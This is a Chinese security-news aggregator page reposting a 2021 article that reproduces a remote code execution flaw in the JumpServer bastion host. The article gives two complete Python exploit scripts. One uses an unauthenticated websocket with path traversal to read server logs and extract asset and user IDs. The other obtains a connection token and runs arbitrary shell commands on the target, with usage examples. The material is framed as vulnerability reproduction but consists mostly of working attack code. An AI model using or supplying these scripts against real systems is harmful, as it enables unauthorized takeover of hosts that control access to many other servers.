Sec Hotspot 首页  排行榜  收藏本站  技术博客  RSS
统计信息
已收录文章数量:18974 篇
已收录公众号数量:91 个
本站文章为爬虫采集,如有侵权请告知
已收录微信公众号
阿里云先知 网安寻路人 网信中国 区块链大本营 白说区块链 区块链投资家 区块链官微 区块链铅笔Blockchain HACK学习呀 二道情报贩子 合天智汇 小白帽学习之路 小米安全中心 弥天安全实验室 SAINTSEC SecPulse安全脉搏 TideSec安全团队 360安全卫士 游侠安全网 计算机与网络安全 安全祖师爷 安全学习那些事 腾讯安全联合实验室 黑客技术与网络安全 安全圈 腾讯御见威胁情报中心 Python开发者 Python之禅 编程派 Python那些事 Python程序员 安全威胁情报 吾爱破解论坛 行长叠报 安在 i春秋 嘶吼专业版 E安全 MottoIN 网信防务 网安杂谈 数说安全 互联网安全内参 漏洞战争 安全分析与研究 邑安全 ChaMd5安全团队 天融信阿尔法实验室 安全牛 SecWiki 安全学术圈 信安之路 漏洞感知 浅黑科技 Secquan圈子社区 奇安信集团 奇安信 CERT 国舜股份 雷神众测 盘古实验室 美团安全应急响应中心 瓜子安全应急响应中心 顺丰安全应急响应中心 蚂蚁金服安全响应中心 携程安全应急响应中心 滴滴安全应急响应中心 字节跳动安全中心 百度安全应急响应中心 腾讯安全应急响应中心 网易安全应急响应中心 OPPO安全应急响应中心 京东安全应急响应中心 Bypass CNNVD安全动态 安恒应急响应中心 天融信每日安全简报 奇安信威胁情报中心 看雪学院 黑白之道 水滴安全实验室 安全客 木星安全实验室 云鼎实验室 绿盟科技安全预警 白帽汇 深信服千里目安全实验室 腾讯玄武实验室 长亭安全课堂 FreeBuf 绿盟科技 nmask
jumpserver(堡垒机) RCE 详细复现
本文来自公众号:黑白之道   2021.01.22 11:11:28



文章来 源: EDI安全

01

前言

JumpServer 开源堡垒机部署广泛,遵循GNU GPL v2.0开源协议,是符合 4A 的专业运维安全审计系统

网上公众号&&大佬的分析文章已经很多了,参考了360安全忍者师傅的分析以后,替大家踩踩坑做一下复现。

02

流程

1.通过ws连接jumpserver的未授权api,进行日志读取 获取 (system_id,target_id,system_user_id)2.利用 /api/v1/authentication/connection-token/?user-only=1  获取token (此token 20s内有效)3.通过ws 连接 /koko/ws/token/?target_id  带入刚刚获取的token_id 进行执行命令

03

获取日志

#进行日志读取 获取 (system_id,target_id,system_user_id)import asyncioimport websocketsimport jsonimport reimport systry:    ip=sys.argv[1]except:    print("example: python jumpserver_getlog_edi.py 127.0.0.1:8080")    exit()async def send_msg(websocket,_text):    print("##########send payload")    print("##########wait some time")    await websocket.send(_text)    recv_text = await websocket.recv()    print(recv_text)async def main_logic():    async with websockets.connect(f"ws://{ip}/ws/ops/tasks/log/") as websocket:        _text = json.dumps({"task": "../../../../../../../opt/jumpserver/logs/gunicorn"})        await send_msg(websocket,_text)        while True:            recv_text = await websocket.recv()            recv_text=json.loads(recv_text)           # print(recv_text['message'])           #print(len(recv_text['message']))            if '/api/v1/perms/asset-permissions/user/validate/' in recv_text['message']:                pattern = re.compile(                    '\/api\/v1\/perms\/asset-permissions\/user\/validate\/\?action_name=connect&asset_id=(?P<asset>.*)&cache_policy=\d&system_user_id=(?P<system_user>.*)&user_id=(?P<user>.*) HTTP/1.1" 200 12')                s = pattern.search(recv_text['message'])                print(s.groupdict())            if len(recv_text['message']) < 100:                breakasyncio.get_event_loop().run_until_complete(main_logic())print("end")

04

执行命令

执行命令(刷取token,执行)

import asyncioimport websocketsimport requestsimport jsonurl = "/api/v1/authentication/connection-token/?user-only=None"async def send_msg(websocket,_text):    if _text == "exit":        print(f'you have enter "exit", goodbye')        await websocket.close(reason="user exit")        return False    await websocket.send(_text)    recv_text = await websocket.recv()    print(f"{recv_text}")async def main_logic(cmd):    print("#######start ws")    async with websockets.connect(target) as websocket:        recv_text = await websocket.recv()        print(f"{recv_text}")        resws=json.loads(recv_text)        id = resws['id']        print("get ws id:"+id)        print("###############")        print("init ws")        print("###############")        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})        await send_msg(websocket,inittext)        for i in range(4):            recv_text = await websocket.recv()            print(f"{recv_text}")        print("###############")        print(f"exec cmd:{cmd}")        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})        print(cmdtext)        await send_msg(websocket, cmdtext)        for i in range(4):            recv_text = await websocket.recv()            print(f"{recv_text}")        print('#######finish')if __name__ == '__main__':    try:        import sys        host=sys.argv[1]        cmd=sys.argv[2]        if host[-1]=='/':            host=host[:-1]        print(host)        data = {'asset': '6d519570-b89c-495b-bffb-f958cccaaf4c', 'system_user': '3ced8e58-8a88-4389-93cb-0bf718e8e22e', 'user': 'e6b344c0-682e-4e5c-845a-fb064e7bf673'}        print("##################")        print("get token url:%s" % (host + url,))        print("##################")        res = requests.post(host + url, json=data)        token = res.json()["token"]        print("token:%s", (token,))        print("##################")        target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token        print("target ws:%s" % (target,))        asyncio.get_event_loop().run_until_complete(main_logic(cmd))    except:        print("python jumpserver.py http://127.0.0.1 whoami")

05

复现


0x01

python jumpserver_getlog.py 127.0.0.1:8080

获取所用的三个ID



0x02

替换RCE脚本的ID 53行处


0x03

python jumpserver_rce.py http://x.x.x.x:8080/  "ls -al"

看到这个就执行成功啦


推荐文章++++

* CVE-2021-3019:Lanproxy任意文件读取漏洞复现

* CVE-2020-17518&17519:Flink两个漏洞复现

* 内网域工具开发以及相关漏洞复现